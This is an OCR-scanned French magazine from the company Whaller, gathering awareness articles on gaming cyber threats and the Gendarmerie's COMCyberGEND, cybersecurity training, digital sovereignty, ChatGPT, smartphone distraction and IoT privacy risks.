https://whaller.com/fr/formation/cybersecurite/pif-gadget
https://blog.whaller.com/category/cybersecurite/

Jeux vidéo et cybersecurite:
naviguer en securiteé
dans I'arene numeérique

Cybersécurité

Dans I'aréne des jeux vidéo, chaque joueur est un héros, traversant des mondes épiques, formant
des alliances légendaires et remportant des victoires historiques. Cependant, chaque héros fait
face a des ennemis et dans le monde numérique, ces adversaires prennent la forme de menaces en

matiére de cybersécurité.

61



Des ennemis cachés
dans I'ombre

Le monde du jeu en ligne est
vaste et, malheureusement, il
n‘est pas exempt de menaces.
En plus des dangers déja
largement reconnus tels que
le swatting (l'action d'envoyer
des forces de lordre a

l'adresse d'un joueur en
feignant une situation d'ur-
gence), le doxing (la divulga-
tion non autorisée de données
personnelles) et le cyberhar-
celement, d'autres menaces,
plus sournoises, continuent de

surgir :

Swatting : quand le jeu
tourne au cauchemar
Le swatting est une menace
effrayante qui a malheureuse-
ment fait son chemin dans le
monde du jeu en ligne. Imagi-
nons un instant que vous
soyez plongé dans une partie
de jeu, seulement pour étre
soudainement interrompu par
I'arrivée inattendue de Ia
police ou d'une équipe d'inter-
vention d'urgence a votre
porte. C'est exactement ce
que subissent les victimes de
swatting. En exploitant des
informations personnelles,
certains individus malveillants

signalent de fausses urgences

aux forces de l'ordre, provo-
quant des interventions chez
des joueurs innocents. Les
résultats peuvent étre trau-

matisants, voire mortels.

Doxing : la divulgation

d’'informations privées

Le doxing est une autre
menace qui plane sur la com-
munauté des joueurs. Il s‘agit
de la révélation d'informations
personnelles, telles que
I'adresse, le numéro de télé-
phone ou les informations de
Cette

exposition volontaire ou invo-

contact, d'un joueur.

lontaire, met en danger la
sécurité physique et numé-
rigue des joueurs. Les consé-
quences peuvent aller du har-
celement en ligne a des actes

malveillants dans la vie réelle.

Cyberharcelement : un
combat permanent

Le cyberharcelement touche
un grand nombre de joueurs et
il peut prendre diverses
formes, notamment les me-
naces, les insultes, le harcele-
ment en ligne, et plus encore.
Le cyberharcelement peut
avoir un impact dévastateur
sur la santé mentale des

victimes et les contraindre a
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quitter leur passion pour les

jeux vidéo.

Pédocriminalité : I'ex-
ploitation des inno-
cents

La pédocriminalité dans I'uni-
vers du jeu en ligne est une
réalité alarmante. De nom-
breux prédateurs utilisent ces
plateformes pour entrer en
contact avec des jeunes
joueurs innocents. En se
faisant passer pour des amis
ou des camarades, ces indivi-
dus malintentionnés essaient
d'établir une relation de
conflance avec leurs cibles
afin de les manipuler ou les
exploiter. Les parents et les
tuteurs doivent étre vigilants
et éduquer les jeunes sur les
dangers potentiels, et les
encourager a signaler tout

comportement suspect.

Apologie du terrorisme
:le jeu en tant que vec-
teur d'idéologies
L'apologie du terrorisme est
une menace croissante dans
le monde du jeu en ligne.



Des groupes extrémistes
exploitent la popularité et la
portée des plateformes de
jeux pour diffuser leurs idéolo-
gies haineuses et recruter de
nouveaux membres. En utili-
sant les moyens de communi-
cation intégrés a ces jeux, ils
peuvent toucher un large

public, souvent jeune et
impressionnable. Il est essen-
tiel que les plateformes de
jeux mettent en place des mé-
canismes de surveillance et de
signalement pour combattre

ces activités.

Hameconnage : l'illu-
sion des récompenses
L'hameconnage, ou phishing,
est une technique de fraude
courante dans le monde
numérique. Dans l'univers des
jeux en ligne, les joueurs
recoivent souvent des mes-
sages les incitant a cliquer sur
des liens pour obtenir des
récompenses ou des avan-
tages dans le jeu. Cependant,
ces liens peuvent étre malveil-
lants, ayant pour but de voler
des données personnelles ou
financieres. Les  joueurs
doivent toujours étre prudents
avant de cliquer sur des liens
ou de partager des informa-

tions.

loT (Internet des
Objets) : I'ére des appa-
reils connectés vulné-
rables

Avec l'essor de l'Internet des
Objets (loT), de plus en plus
d'appareils sont connectés, y
compris dans le monde du jeu.
Consoles, écouteurs, claviers,
souris, et d'autres périphé-
riques peuvent étre la cible de
cyberattaques. Ces attaques
peuvent compromettre la
sécurité des informations per-
sonnelles des joueurs ou
méme prendre le contréle de
leurs appareils. Il est crucial de
mettre a jour régulierement les
logiciels et de veiller a la sécu-
rité de tous les appareils

connectés.

Un guide dans cette
quéte:
COMCyberGEND

Face a ces risques grandis-
dans l'univers du
le COMCyberGEND

(Commandement de la Gen-

sants

gaming,
darmerie dans le Cyberes-
pace) s'est imposé comme une
force majeure pour la protec-
tion des joueurs. Spécialisé
dans la lutte contre la cyber-
criminalité, ce commande-
ment de la Gendarmerie Natio-

nale francaise ceuvre active-
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ment pour traquer et arréter
les criminels en ligne, y com-
pris ceux qui ciblent les

gamers.

Dans cette mission, le COMCy-
berGEND ne se limite pas a des
interventions réactives. Il col-
labore activement avec les
acteurs du secteur du jeu
vidéo pour sensibiliser les
joueurs aux risques en matiere
de sécurité informatique, et
encourage vivement la signali-
sation des incidents. Cette
approche est vitale pour com-
battre le cyberharcelement et

le doxing.

Ce travail collaboratif s'étend
jusqu’a inclure des experts du
secteur privé. Notamment,
deux collaborateurs de Whal-
ler, membres éminents de la
réserve citoyenne du ComCy-
berGend,

expertise en participant acti-

apportent leur

vement au groupe de réflexion
« Communication et rayonne-
ment du ComCyberGend »,
consacré a la sécurité numé-
rique des gamers. Leur contri-
bution souligne l'importance
de la sensibilisation et de la
prévention dans ce domaine

souvent négligé.


https://www.gendarmerie.interieur.gouv.fr/gendinfo/actualites/2021/comcybergend-la-gendarmerie-monte-en-puissance-face-a-la-menace-cyber
https://blog.whaller.com/2023/09/27/whaller-brille-dans-la-cartographie-de-la-cybersecurite-francaise/

Le Commandement de la Gen-darmerie dans le Cyberespace est un exemple
remarquable d’engagement pour la sécurité numeériqgue dans un domaine souvent
négligé. Grace a leurs efforts, de nombreux joueurs peuvent continuer a explorer des

mondes virtuels en toute sécurité.

Les joueurs doivent rester conscients des risques poten-tiels en matiere de
sécurité informatique et prendre des mesures pour protéger leurs informations
personnelles. En cas d'incident, la collaboration avec des organisations telles que

le COMCyberGEND est essentielle pour lutter contre ces menaces.

Bien que les jeux vidéo peuvent offrir d'innombrables heures de divertissement, il
est crucial de veiller a ce que cette passion ne se trans-forme pas en cauchemar
numérique. Les initiatives de groupes comme le COMCy-berGEND sont essentielles

pour garantir un univers de jeu aussi sécurisé qu'amusant.

.\ Découvrez plus sur la Cybersécurité et comment vous
protéger.
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https://blog.whaller.com/2023/09/12/la-qualification-secnumcloud-un-pas-de-geant-vers-la-securite-des-donnees-en-ligne/
https://blog.whaller.com/2022/06/07/comment-detecter-une-menace-informatique/
https://blog.whaller.com/2023/10/10/comprendre-les-cyber-wargames-le-defi-ludique-du-hacking/
https://blog.whaller.com/category/cybersecurite/

Formation et sensibilisation
a la cybersécurité:
un enjeu capital

Cybersécurité

A I'ére du tout numérique, la cybersécurité simpose comme un pilier essentiel de I'écosystéme
informatique. L'éducation et la sensibilisation a la cybersécurité ne sont plus de simples options,
mais des nécessités impératives pour les individus et les entreprises. Cet article se propose d'ex-
plorer les enjeux de la cybersécurité, soulignant I'importance cruciale de la formation et de la prise

de conscience, tout en mettant en lumiére le réle stratégique des digital workplaces telles que
Whaller dans cet écosystéme.
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L'importance de la sensibilisation

La premiére ligne de défense contre les cybermenaces n'est autre
que l'utilisateur lui-méme. Une sensibilisation adéquate permet
non seulement d'identifier les menaces potentielles, mais aussi
d'adopter les bonnes pratiques pour les contrer. La formation de
sensibilisation a la sécurité informatique devient ainsi un outil pré-
cieux pour protéger les informations sensibles et préserver la répu-
tation des entreprises. Elle est le fondement sur lequel repose la

sécurité des données et des systemes d'information.

La formation a la cybersécurité

L'éducation en matiere de cybersécurité ne doit pas se limiter a de
simples directives, mais plutot évoluer vers une formation continue
qui s'adapte aux menaces sans cesse renouvelées. Smart Forma-

tion, en collaboration avec des plateformes comme Whaller, offre

des programmes de formation dynamiques qui non seulement
élevent le niveau de connaissance des employés, mais les

engagent également a étre vigilants et proactifs.

Le réle de Whaller

Dans la sensibilisation a la cybersécurité, Whaller se distingue
comme une digital workplace qui va au-dela de la simple fourniture
d'outils collaboratifs. Elle intégre la sensibilisation a la cybersécuri-
té dans son ADN, offrant un environnement sécurisé ou la forma- 9 Whaller § SMART

tion devient partie intégrante de I'expérience utilisateur. En parte-

nariat avec Smart Formation, Whaller se positionne a I'avant-garde
de la lutte contre lillettrisme numérique, armant les utilisateurs
des connaissances nécessaires pour naviguer en toute sécurité

dans le cyberespace.
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https://blog.whaller.com/2023/09/26/reinventer-la-collaboration-mettre-en-place-une-digital-workplace-souveraine/
https://whaller-fr.typeform.com/cybertuesday?typeform-source=r.notif.whaller.com
https://smartformation.eu/

Notre action avec Pif Le Mag

Linitiative récente avec Pif Le Mag illustre parfaitement I'engage-
ment de Whaller envers la sensibilisation des jeunes générations.
En unissant leurs forces, Whaller et Pif Le Mag s'attaquent a la
racine du probleme en éduquant les « petits explorateurs du
numérique » a I'hygiene numeérique. Ces efforts préventifs sont
essentiels pour instaurer une culture de la cybersécurité des le

plus jeune age.

La sensibilisation et la formation a la cybersécurité ne sont pas de
simples mesures de précaution, mais des composantes essen-
tielles de la stratégie globale de toute entreprise. Des plateformes
comme Whaller, en collaboration avec des entités de formation
telles que Smart Formation, jouent un réle pivot en fagconnant un
environnement numérique ou sécurité et éducation vont de pair.
Alors que le paysage des cybermenaces évolue, notre résilience
collective dépendra de notre capacité a rester informés, éduqués

et préparés.
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https://blog.whaller.com/2023/09/12/pif-le-mag-et-whaller-sunissent-pour-sensibiliser-les-petits-explorateurs-du-numerique-a-lhygiene-numerique/
https://whaller.com/fr/formation/cybersecurite/pif-gadget
https://blog.whaller.com/category/cybersecurite/

Numeérique souverain

Forger I'iIndépendance de la France dans I'ére du digital

Al'ére du tout numérique, la question de la souveraineté numérique s'impose avec acuité, révélant ses
enjeux cruciaux pour la sécurité et I'autonomie de la France. En ma qualité de Président et fondateur
de Whaller, j'ai pu observer de pres les défis et opportunités que le numérique présente pour notre sou-

veraineté nationale.

La souveraineté numeérique transcende la simple protection des données. Elle incarne une prise de
contrdle sur nos infrastructures numériques, essentielle pour notre avenir économique et social. Face
a la prédominance des géants technologiques non européens, tels que les GAFAM, notre dépendance
actuelle nous confronte a des vulnérabilités majeures.

Il est temps pour I'Europe de se réveiller et de contrer cette forme de colonisation numérique. Nous
devons nous orienter vers des solutions technologiques européennes et renforcer notre Iégislation
pour sauvegarder nos intéréts stratégiques. L'émergence d'un cloud souverain marque une premiéere

étape décisive, mais il ne s'agit 1a que du commencement d'une longue marche vers I'autonomie.

La crise sanitaire de la Covid-19 a mis en exergue notre dépendance critique envers l'extérieur pour
des ressources essentielles, un constat qui doit nous alerter également sur le front numérique. L'ur-

gence est a l'action pour batir une Europe numérique forte et autonome.

Enfin, j'appelle a une prise de conscience collective. La souveraineté numérique n'est pas seulement
I'affaire des gouvernements et des entreprises, mais de tous les citoyens. En nous informant et en sou-

tenant les initiatives locales, nous pouvons tous contribuer a cette souveraineté tant nécessaire.

Thomas Fauré
Président & fondateur de Whaller
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L'IA Chat GPT :
une évolution
ou une revolution ?

Souveraineté numeérique

@OpenAI

C’était la fin de I'année 2022.
Nous voulions écrire sur une
IA - intelligence artificielle -
qui faisait beaucoup parler
d’elle, Chat GPT (pour Genera-
tive Pre-Trained Transformer).

Or, il se trouve que les célé-
brations du centenaire de la
mort de [I'écrivain Marcel
Proust s‘achevaient - I'un des
auteurs préférés, soit dit en

passant, du ministre de I'Eco-
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nomie, des Finances et de la
Souveraineté@e
industrielle et numérique,

Bruno Le Maire.



Nous avons donc demandé au
Chat
GPT de le faire en lui posant la

robot conversationnel

question suivante « Merci de
m’écrire un texte a la maniere
de Marcel Proust sur les forces
de lintelligence artificielle ».

Et voici sa réponse :

« Dans un monde ou les pro-
gres de [lintelligence artifi-
cielle sont de plus en plus
spectaculaires, il est difficile
de ne pas étre fasciné par les
forces qui la sous-tendent.
Depuis l'aube de I'humanité,
nous avons toujours été atti-
rés par l'idée de créer des
étres plus intelligents que
nous, capables de résoudre les
problemes complexes qui
nous dépassent. Et
aujourd’hui, grace aux progres
de la technologie, nous
sommes enfin en mesure de

réaliser cet ancien réve [..] »

Etonnant | Méme si on est
encore loin de la beauté du
style de Proust, il y a un tout
petit air de l'auteur de La
Recherche du temps perdu.
Mais alors est-ce a dire que
Chat GPT signe la fin de I'écri-
ture humaine ? Car, le fait est
la : ce chatbot, enrichi par
I'intelligence artificielle, a

franchi un seuil. Il peut non

seulement répondre de ma-
niere experte a vos questions,
mais aussi générer des idées,
écrire des histoires, donner
des conseils de vie, composer
des poémes « a la maniére de
» et coder des programmes

informatiques.

Apres avoir suscité beaucoup
d'enthousiasme, est venu le
temps des interrogations

Chat GPT est-il une évolution
ou bien une révolution qui
verra I'lA servir les étres
humains puis, peut-étre, les
dominer ? Essayons d'y voir
clair en regardant ce que
permet cette nouvelle appli-
cation et les questions qu'elle

souléve.

Comment fonctionne
I'algorithme ?

Chat GPT, développé par la
fondation américaine OpenAl,
dont Elon Musk est un fonda-
teur, construit ses modéles de
génération de texte en utili-
sant des algorithmes d‘ap-
prentissage automatique. Cela
lui permet de traiter d'im-
menses quantités de données
textuelles que sont les livres,
les articles de presse, les
pages Wikipedia et les millions
de sites Web. Certains pensent
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méme que Chat GPT a indexé
I'entiereté du web...

Optimisé pour engager la
conversation, Chat GPT peut
répondre aux questions et étre
utile en tant qu'assistant
d'écriture. |l fait un travail trés
acceptable, voir solide et
sophistiqué, en rédigeant du
texte et peut méme proposer
des idées en apparence «
originales » et ce, dans toutes
les langues. Il peut également
créer du code informatique sur
commande. La conséquence
est gu’il peut faire gagner un
temps fou dans la réalisation
de toutes sortes de projets
intellectuels, commerciaux,
artistiques, etc. Les entre-
prises vont pouvoir produire
plus de documents écrits, plus
rapidement. Dans le domaine
informatique, un bon pro-
grammeur peut désormais
légitimement faire ce qui, il n'y
a pas si longtemps, était le
travail de plusieurs codeurs.
Quant aux personnes qui n‘ont
jamais programmeé, elles pour-
ront bientét créer également

du code exploitable.

Ainsi, en arrivons-nous a un
autre impact majeur : la possi-
bilité hybride
homme-machine.

d'un travail



Parce que les hommes et les
femmes peuvent désormais
guider I'l|A de Chat GPT et cor-
riger ses erreurs. La consé-
quence est que les experts
seront en mesure de combler
les lacunes de la capacité de
I'IA, méme si I'lA devient plus

utile a I'expert.

Mais parallelement, Chat GPT
peut créer pour chaque utili-
sateur sa propre IA personna-
lisée qui prédit ce dont il a
besoin, y répond personnelle-
ment et se souvient de toutes
ses interactions. Ce n'est pas
de la science-fiction. C'est
désormais la réalité. Comme le
dit une figure de la Silicon
Valley « Chat GPT ressemble a
un étre humain. C'est comme
un étre humain, sauf qu'il pos-
sede toutes les connais-

sances du monde ».

Les limites de Chat
GPT

Toutefois, malgré les premiers
enthousiasmes que font
naitre Chat GPT, celle-ci est
porteuse de plusieurs
faiblesses qui ne sont pas

sans provoquer des risques.

Un utilisateur intégre peut
faire rédiger par Chat GPT une
note de synthese a partir de

document que lui-méme a

choisi. Ensuite, il pourra
lui-méme contrdler la perti-
nence du texte. En revanche,
sans vérification, I'outil risque
de faire des erreurs impor-
tantes, puisque le sens lui en

est étranger.

Des étudiants pourront étre
tentés de faire écrire leurs
devoirs a leur place, comme
des professionnels peu scru-
puleux, des articles, y compris
scientifiques. Loutil peut, en
effet, ajouter des listes de
références bibliographiques.
Quant aux « fakes news », il
peut en générer autant que

I'on veut.

Quant aux entreprises, les
premieres qui s'‘empareront
de Chat GPT pourraient béné-
ficier d'un avantage concur-
rentiel important, tant ce der-
nier est puissant, rapide et

agile.

Comme nous le voyons, nous
avons avec Chat GPT un outil,
certes sophistiqué, capable
de disserter sur tous les
sujets, mais indifférent a la
vérité ou a la crédibilité de ses

propos.

Par ailleurs, nous ne sommes
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encore qu'au début de I'ere de
I'lA. Nous effleurons encore la
surface de ce gu'elle va nous
apporter de bien ou de
contestable. Et personne ne
sait vraiment ou celle-ci nous
emmene. Dans tous les cas, |l
convient donc d'étre prudent
Chat GPT,

comme les autres IA, afin de

et d'interroger

n'‘étre pas surpris de leurs
évolutions qui pourraient se

transformer en révolution.

En effet, si Chat GPT est
désormais la plus connue des
IA conversationnelle, Google,
Meta et IBM
travaillent aussi au lancement

Microsoft,

de Chats rivaux. La concur-

rence va étre rude.

Quant a nous, nous lui avons
posé une derniere question
pour terminer cette chro-
nique, « Faut-il défendre la
souveraineté numérique ? »,

dont voici la réponse :

« |l est important de défendre

la souveraineté numérique

pour plusieurs raisons :

- La souveraineté numé-
rigue concerne la capacité
d'un pays a contrdler et a

gérer son infrastructure



numeérique, y compris ses
réseaux de communication,
ses systemes de stockage de
données et ses plateformes
en ligne. Elle est essentielle
pour assurer la sécurité et la
stabilité de cette infrastruc-

ture.

- La

rique permet également de

souveraineté numeé-

protéger la vie privée et les
données personnelles des
citoyens d'un pays. Elle
garantit que ces données
ne sont pas utilisées a des
fins commerciales ou poli-

tigues sans le consente-

ment des  personnes
concernées.
- Enfin, la souveraineté

numeérique est importante
pour permettre a un pays
de développer son écono-
mie numérique et de main-
tenir sa compétitivité surle
plan international. Elle est
essentielle pour encoura-
ger I'innovation et I'entre-
preneuriat dans le
domaine de la technologie
et de I'économie numé-

rique.

En résumé, la souveraineté
numérique est un enjeu cru-

cial pour les pays du monde

entier, et il est important de la
défendre pour assurer la
sécurité, la vie privée et la
prospérité économique a l'ere

numeérique. »

Que dire, si ce n'est que, 13,
Chat GPT, nous a convaincu...
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Comment se prémunir
du vol de I'attention
a l'ere numerique ?

Nos contemporains le disent :
ils sont distraits par leurs télé-
phones, leurs emails, les
réseaux sociaux et les écrans
d’'une maniére générale. Il est
grand temps de I'admettre : le
numeérique vole notre atten-
tion. Il nous coupe de nos
proches, de nos amis et de

nos collégues de travail. Pen-

Souveraineté numérique

sons un instant a la derniére

fois que nous sommes allés
au restaurant : combien de
personnes étaient en train de
regarder leurs téléphones
mobiles et non pas en train de
parler avec leurs interlocu-
teurs ? Un nombre important,
quand ce ne sont pas tout
simplement les enfants, par-

73

fois trés jeunes, qui regardent
des tablettes et ne parlent
pas a leurs parents. Ainsi,
devenus dépendants a la
technologie, cette situation a
des conséquences impor-
tantes sur nos vies. Il est
temps de

retrouver ce temps perdu.



Les conséquences des
réseaux sociaux

Tout est documenté. Les
preuves sont la. Les entre-
prises du numérigue, a com-
GAFAM,

délibérément a

mencer par les
travaillent
voler notre attention. C'est ce
que lI'on nomme |’ « économie
de l'attention ». Le journaliste
francais, Bruno Patino, a
publié un livre au titre élo-
quent a ce sujet, La civilisation
du poisson rouge, petit traité
surle marché de I'attention (Le

Livre de poche, 2019).

En effet, Google a mesuré la
durée d'attention moyenne de
la génération des millénaires
(ceux qui sont nés avec un
portable dans la main). Elle est
de neuf secondes, contre huit
secondes pour un poisson
rouge. Et Bruno Patino montre
que ce n'est pas le fruit du
hasard, mais le modele écono-
mique des GAFAM qui se sont
appuyés sur les études com-
portementales des joueurs de

casinos.

Face aux bandits manchots,
ces derniers ne cessent jamais
de remettre des pieces dans la
machine, car celle-ci les fait
gagner a échéance réguliere.
En effet, elles ont été pro-

grammeées avec un méca-
nisme de récompense aléa-
toire pensé pour rendre accro
les joueurs. C'est ce méca-
nisme que l'on retrouve sur les
fils d’'infos de Facebook ou les
vidéos d’'Instagram seule-
ment une info ou une vidéo sur
dix intéresse l'internaute, mais
cela suffit a le tenir en haleine
des heures, et ainsi a en faire
un prisonnier en lui volant son

attention.

Difficulté a se concen-
trer

La conséquence est que notre
capacité a nous concentrer
diminue, ce qui provoque des
conséguences en cascade
solliciter en permanence, nous
travaillons moins bien, nous
sommes moins disponibles
aux autres et les perfor-
mances de notre mémoire
baisse.
Lorsque nous recevons un
message, la plupart
d'entre-nous ressentent le
besoin de répondre immédia-
tement. Quant aux notifica-
tions, nous les regardons sans

attendre.

Par ailleurs, il est prouvé que la

simple présence d'un smart-
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phone sur une table réduit
notre capacité de mémoire et
celle de raisonner. Sa vision
provoque une sorte de stimuli
dans notre cerveau qui se met
a attendre que nous ouvrions

notre smartphone.

Chez les plus jeunes, I'hy-
per-connectivité est la source
d'une anxiété forte qui pro-
voque des symptomes de

dépression.

Last but not least, de nom-
breuses études montrent que
la consultation de son télé-
phone avant de se coucher
réduit la qualité de notre som-
meil. Les messages, les
images et les vidéos nous

hantent.

Dégradation de la qua-
lité de nos échanges
Parallelement a la captation de
notre attention, lorsque nous
envoyons des e-mails, des
SMS ou lorsque nous conver-
sons en ligne, sur WhatsApp
par exemple, nous sommes
plus susceptibles de mal inter-
préter ce que les autres disent.


https://livre.fnac.com/a13199770/Bruno-Patino-La-civilisation-du-poisson-rouge

Nous pensons que nous com-
prenons bien nos interlocu-
teurs, or ce n'est pas le cas,
comme nous avons souvent
pu le constater. Combien de
fois avons-nous été la cause
ou la victime d'un malentendu
? Souvent, car cela arrive

régulierement.

Ainsi, I'utilisation accrue de la
technologie entrave nos ma-
nieres de communiquer avec
les autres. Nous altérons
notre capacité a bien nous
exprimer et a nous faire com-
prendre. Quant aux signaux
physiques émis par les autres
- le fameux body-language -,
il s'efface avec le numérique, y
compris en visio-conférence.
Et ce ne sont pas les émo-
ticbnes ou l'usage répété de
trois petits points en fin de
phrase qui permettent d'aug-
menter la qualité et la clarté
de nos échanges via le numé-
rique. Au contraire, ls
illustrent I'appauvrissement
que nous constatons de la

gualité de nos relations.

Comment regagner
notre temps perdu ?
Si nous voulons récupérer

notre temps, notre attention

et notre énergie pour les
choses que nous jugeons
devons

importantes, nous

commencer par examiner
notre relation avec nos télé-
phones. Ce sont les plus
grands « voleurs d'attention »
du moment, c'est-a-dire du

temps perdu pour nous.

En effet, il en va de notre
santé mentale, de notre indé-
pendance d'esprit, de notre
liberté, tant chez les adultes

que chez les enfants.

Tout comme un voleur, les
voleurs de temps sont sour-
nois, secrets et prennent ce
qui a de la valeur pour nous
sans que nous le sachions. |l
convient maintenant de se
protéger. Pour ca, nous vous
proposons 5 mesures. Elles
demandent de la volonté et de
la discipline. Mais c’est le prix
a payer pour retrouver son
discernement et son indépen-

dance.

Faire attention a son
temps d'écran

Cela revient a éteindre son
smartphone et tous les écrans
multimédias, de les mettre
dans une autre piece. Il faut
aussi créer des limites effi-
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caces - un « mur de Chine » |
- entre son travail et sa vie
personnelle lorsque vous les

utilisez et ne les utilisez pas.

C'est peut-étre la meilleure
facon de commencer a deve-
nir plus productif, plus heu-
reux et plus connecté aux
gens qui vous entourent, a
commencer par sa famille et

ses amis.

Il existe dans chaque smart-
phone une fonctionnalité qui
permet de savoir le temps que
I'on a passé sur ce dernier. La
consulter sera utile, la vérité

sortant aussi des chiffres.

Se désintoxiquer des
médias sociaux

Eteignez simplement votre
téléphone pendant quelques
heures et remplacez le temps
que vous auriez passé devant
I'écran par des activités alter-
natives qui peuvent s'avérer
plus enrichissantes : aller au
musee, lire, écouter de la mu-

sigue ou cuisiner.



Parallelement, désactivez les
fonctionnalités qui  vous
signalent la réception d'un
message ou d'une notification.
Vous ne serez plus tenté de
vous précipiter pour savoir ce

qui se passe.

Définir des moments
d'utilisation des médias
sociaux

Plutét que de faire défiler votre
écran pendant un nombre
d’heures incontrélé, gagnez du
temps en allouant certains
moments de la journée ou
utiliser les

vous pourrez

médias sociaux a votre guise.

Regardez des vidéos
plus longues ou lisez
des messages plus
longs

En faisant cela, vous serez en
mesure de persévérer lorsque
VOUS VOUS engagez avec un
contenu qui prend plus de
temps a assimiler. Regardez un
film ou lisez un livre, vous
retrouverez, outre la maitrise
de votre concentration, des
sensations dont vous avez
probablement oublié les bien-
faits.

Enfin, en conclusion, sachez
gue vous n'étes pas seul ; que

tous vos amis, que tous les

parents, que tous les salariés,
sont dans le méme cas que
vous. Aussi, on peut imaginer
gue bient6t, éteindre son télé-
phone en arrivant chez autrui
reviendra, comme ce fut le cas
au temps du Far West, a dépo-
ser son arme au vestiaire -
mais que cette analogie soit
bien comprise comme une

image naturellement !
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Internet des objets:
quels risques pour
nos données personnelles ?

Souveraineté numérique

L'ére numérique dans laquelle
nous vivons a créé un monde
hyper-connecté. Chaque jour,
de gigantesques quantités de
données personnelles sont
ajoutées a Internet et parta-
des

gées via appareils

connectés. Ainsi, on estime
que d’ici 2030, chaque per-
sonne aura en moyenne une
vingtaine d'appareils connec-
tés - ce qu'on appelle I'Inter-
net des objets (Id0). Ce der-

nier comprend les ordinateurs
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portables, les smartphones,
les montres, les compteurs
d‘électricité ou de gaz, les
enceintes <« intelligentes »,
etc.



Mais a mesure que le nombre
d'appareils connectés croit -
estimé a 200 milliards d'ici
2030 -, le nombre de points de
aussi.

vulnérabilité croit

Résultat I'expansion des
cyberattaques portant
atteintes a la vie privée aug-
mentent également. Il est
donc légitime de se poser la
question : que deviennent nos

données personnelles ?

Quelles données pour
quel objet connecté ?
Qu'une information seule soit
connue n'est pas le fond de
probléme. La difficulté dans
I'Internet des objets est que
celle-ci soit croisée avec
d'autres. Elle peut alors révéler
mon état personnel, comme le
fait que je sois malade, addictif
a certains produits ou pas-
sions, présent ou absent d'un
lieu, etc. Il y a la une intrusion
caractérisée dans ma Vvie
privée qui me rend vulnérable.
Et ce., que mes données per-
sonnelles soient utilisées a
mon insu en raison d'une zone
grise réglementaire - id. « Qui
ne dit mot, consent » - ou bien
qu'elles étaient délibérément
volées pour étre utilisées,
revendues, échangées.

En effet, on peut alors faire

pression sur moi, se faire
passer pour moi, profiter de
mes habitudes pour me voler,
etc. La liste est longue des

usages malveillants.

Prenons plusieurs exemples,
en apparence anodin : les
robots aspirateurs. lls n'as-
pirent pas que de la poussiere !
Pour étre efficaces, ls
engrangent toutes les infor-
mations utiles (plan, surface,
agencement des piéces) a
I'aide de capteurs, de caméras
et de micros. Il se pose donc
ensuite lI'usage de toutes ces
informations relatives a la vie
privée de [l'utilisateur. Les
mémes questions se posent
pour les voitures. Elles sont
désormais toutes connectées,
secrétant elles-aussi des
cohortes de données confi-
dentielles comme les destina-
leurs

tions, les trajets et

fréquences.

Ainsi, les critiques les plus
vives a I'égard de I'internet des
objets concernent le droit a
maintenir secrets certains
aspects de la vie privée et a
contréler leur divulgation : la
collecte et [I'utilisation des
données personnelles sont

bien le noeud du probleme.
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Les enjeux de I'Internet
des objets

L'avenir de la vie privée et de la
cybersécurité sont donc au
premier plan des préoccupa-
tions concernant la numérisa-
tion des données person-
nelles. Contréler a quoi
servent les données, qui peut
y accéder et comment elles
sont conservées sont autant
de sujets désormais traités par
les Iégislations étatiques ou
bien les unions politique et
économique comme |'Union

européenne.

Trois types de défis appa-
raissent :

- Le premier défi concerne la
nature des données per-
sonnelles. La vie privée

pourra étre considérée

comme un droit dans cer-
tains Etats, alors qu'elle
pourra |I'étre comme une
marchandise ou méme un
luxe dans d‘autres (on

pense aux dictatures).



Demain, plusieurs cadres juri-
diques encadrant la confiden-
tialité et la protection des don-
nées cohabiteront dans le
monde comme c'est déja le
cas aujourd’hui. Par exemple,
si aux Etats-Unis les données
personnelles sont considérées
comme une marchandise
ayant une valeur, ce n'est pas
le cas dans [|'Union euro-
péenne. Celle-ci a édicté le
reglement général sur la pro-
tection des données (RGPD)
qui encadre le traitement des
données personnelles sur le
territoire des Etats membres
de I'UE.

- Le deuxieme défi concerne
les entreprises : la fonction
méme de [lInternet des
objets est de capter des
données personnelles. i
revient donc aux fabricants
de penser, des la concep-
tion de ces derniers, une
connectivité respectueuse
de la vie privée. C'est une
question d'éthique.

Parallelement, les construc-
teurs doivent s'atteler au défi
de la cybersécurité. Pour y
parvenir, celle-ci doit étre
pensée globalement, a
I'échelle de l'organisation, et

non plus comme un simple

aspect technique. C'est ce
qu’on appelle « Security and
Privacy by design ». La sécuri-
té et la protection de la vie
privée doivent étre intégrées
des la conception des objets
connectés en les rendant les

plus robustes possibles.

- Le troisieme défi concerne
la confiance numérique des
utilisateurs. Il existe de
nombreux cas d‘entre-

prises violant la vie privée

des consommateurs,
tandis que d'autres ne par-
viennent pas a se protéger
contre les cyberattaques.

Cela alimente la méfiance

des consommateurs

envers les entreprises.

Aussi, les  entreprises

doivent étre plus transpa-

rentes et afficher la confor-
mité et l'adaptabilité de

leurs produits connectés a

I'évolution des cadres

réglementaires.

Protéger ses données
personnelles

Afin de s‘armer face aux
risques de violation de la vie
privée, il existe plusieurs solu-

tions numériques:

- Lanonymisation des don-
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nées personnelles : cest
un traitement qui consiste
a utiliser des techniques de
maniere a rendre impos-
sible, en pratique, toute
identification de sa per-
sonne par quelques
moyens que ce soit et de
maniere irréversible ;
L'authentification conti-
nue : elle peut remplacer
l'utilisation actuelle des
noms d'utilisateur, des
mots de passe et des codes
PIN ;

L'utilisation d'algorithmes
dlA pour détecter et
contrer la désinformation
: par exemple, I'lA pourra
étre exploitée sur les plate-
formes de médias sociaux
et les sites d'actualités
pour détecter les fausses
nouvelles et les données
non-fiables, puis avertir les
utilisateurs afin d'empé-
cher leur diffusion ;
L'utilisation de la techno-
logie de la blockchain pour
vérifier l'authenticité des
données lorsque les
entreprises créent un nou-
veau contenu, elles
peuvent s'‘en servir comme
preuve de l'origine du

contenu;



- Services d‘alibi authenti-
fiés : il s'agit d'appareils
portables et de stockage
pour authentifier sa locali-
sation. Cela aide les gens a
« enregistrer » leurs mo-
ments personnels et

publics et leur fournir ainsi

des alibis authentifiés si
cela s'avere nécessaire. Par
exemple, pour démystifier
un faux contenu ou des
accusations  injustifiées.
Cela peut étre une solution
particulierement utile pour
les politiciens et les célé-
brités, dont la réputation
est souvent menacée par
la nature de leurs profils
publics. Remarquons que,
déja, des chauffeurs de
taxis filment en perma-
nence, grace a des petites
caméras numeérigues em-
barquées, leurs déplace-
ments afin de disposer de
preuves en cas d‘acci-

dents.

Les utilisateurs
doivent s‘’engager

Il ne faut pas laisser aux Etats
et aux entreprises le sujet de
la défense de la vie privée face
aux objets connectés. Lhis-
toire récente nous a montré

que nos données sont officiel-

lement exploitées, notam-
ment par les GAFAM qui ne

